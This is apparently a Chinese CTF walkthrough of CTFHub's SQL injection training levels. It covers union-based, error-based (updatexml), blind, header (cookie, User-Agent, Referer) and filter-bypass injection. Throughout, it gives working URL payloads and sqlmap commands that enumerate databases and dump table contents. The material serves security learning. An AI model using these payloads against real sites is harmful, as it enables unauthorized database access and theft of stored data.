前言
1.什么是SQL注入
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。
2.总体攻击思路
1:寻找到SQL注入的位置
2:判断服务器类型和后台数据库类型
3:针对不同的服务器和数据库特点进行SQL注入攻击
Let's get it.
整数型注入
进入环境:这个靶场还是蛮简单的,直接说整数型了
测试一下果然是整数型(回显正常的话会出ID)
那就构造payload吧
测试列数:order by
order by 2时回显正常,说明列数是2
测试注入点:?id=-1%20union%20select%201,2%20--+
注意:要将1变成-1,否则前面不报错后面就不回显了
发现注入点~~
之后就是常规payload了
1.查看数据库版本和数据库
?id=-1%20union%20select%20version(),database()%20--+
高版本才可以使用information_schema哟~~
2.爆表
?id=-1%20union%20select%20database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20"sqli"%20--+
发现两个表,flag,news
3.爆列名
?id=-1%20union%20select%20database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%22flag%22%20--+
(对比上一条语句有轻微改动,大家自己学习呦~)
发现flag列
4.爆字段
?id=-1%20union%20select%20database(),group_concat(flag)%20from%20sqli.flag--+
语句解释:group_concat(列名) from 数据库名.表名
搞定~
字符型注入
进入环境,再用老方法测试一下先,当个习惯嘛
输入1=2也回显正常,输入1‘报错,果然是字符型
1.第一关已经了解数据库版本,数据库sqli,列数,以及注入点,之后就不再重复做功了~~
2.爆表名
?id=-1%27%20union%20select%20database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20"sqli"--+
(同样是注意将1换成-1哦)
依然是熟悉的flag,news
3.爆列名
?id=-1%27%20union%20select%20database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20"flag"--+
flag列
4.爆字段
?id=-1%27%20union%20select%20database(),group_concat(flag)%20from%20sqli.flag--+
语句讲解上面都有
搞定~
报错注入
思路分析
报错注入我常用到的函数是updatexml()与extractvalue(),二者都可以将我们需要的信息通过报错返回到回显,只有一个参数的差别
开搞
*需要注意的一个点:我们要根据sql语句的不同情况来构造不同payload,这也是SQL注入核心点,一定要灵活
我们可以看到本题SQL语句很明显只需要直接拼接语句即可而不能照搬网上的payload:
'or updatexml(1,concat(0x7e,database()),2) or'
本题根本不用'or,一定要灵活~~
那我们就顺带说一下两种函数payload区别:
(用一下我以前的笔记)
好,我们开整~
其实了解上面这些思路就很简单了,接下来我们用updatexml()构造payload
1.暴库
?id=1%20and%20updatexml(1,(concat(1,database())),2)
2.爆表
?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27sqli%27))),2)
3.爆列
?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%27flag%27))),2)
4.爆字段
?id=1%20and%20updatexml(1,(concat(1,(select%20group_concat(flag)%20from%20flag))),2)
布尔盲注
进入环境,发现只有回显query_success以及query_false,,布尔盲注
手工测试思路
length()测试数据库,表,列的长度;
ascii(substr())测试具体内容;
但是真正做出来有点费事
借用工具
先做的时间盲注,步骤和那个差不多,大家自己试试哦
最终也是OK啦
时间盲注
进入环境,不管输入什么都丝毫没有回显,,,
基于时间的盲注可以利用if()和sleep()手工测试,可是按照一直以来的flag格式
利用ascii(substr())慢慢爆破,要用到48~126号,,了解思想就好
利用工具
我们可以写脚本,将url与sql语句写进去交给脚本就好;
方法二就是sqlmap了,这个工具大家先了解一下:
然后我们构造payload借力啦~~~
爆库:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" --dbs --batch
爆表:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
爆列:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns --batch
爆字段:python2 sqlmap.py -u "http://challenge-90f452c7798f5641.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump --batch
MySql结构
进入环境,随便测试下
额,,,,这,,,整数型
爆个表,,
?id=-1%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20%27sqli%27%20--+
表名字变了
爆列
?id=-1%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%20=%20%27ehfivfvbvt%27%20--+
列名变了,,
爆 字 段
?id=-1%20union%20select%201,group_concat(zgdjmrqpzm)%20from%20sqli.ehfivfvbvt--+
搞定,,才疏学浅,不知道题者要表达什么,,
cookie注入
进入环境·,既然找cookie,抓个包先
在cookie处进行测试,整数型~~
接下来步骤就不多说了,,
全都是常规注入手段只不过在cookie处操作
表:lbzsnsyukr
列:mzyfxrsvce
搞定,,
UA注入
和上面如出一辙,UA处整数型,不具体写了
表:xyjzswdmyg
列:nidcpwxhkd
搞定,,
Refer注入
这次抓包后没有显示Referer,那就根据题自己加一行
测试,还是整数型~
那也就不详细写payload了
表:aqxkbuevuf
列:skfeperzbv
搞定,,
过滤空格
思路
查看了许多方法,url中可以用/**/代替空格
开搞
测试后发现是整数型注入
爆表:
?id=-1/**/union/**/select/**/database(),group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/%27sqli%27
类似于这样~
之后就不细写了
搞定~
就当多个常识:
/**/代替空格
总结
好,到现在,ctfhub部分SQL注入就暂时全部完成了
相比起其他靶场来说这个总体感觉还是简单些,但是新手拿来练手还是十分足够的
重点是学习闭合思路!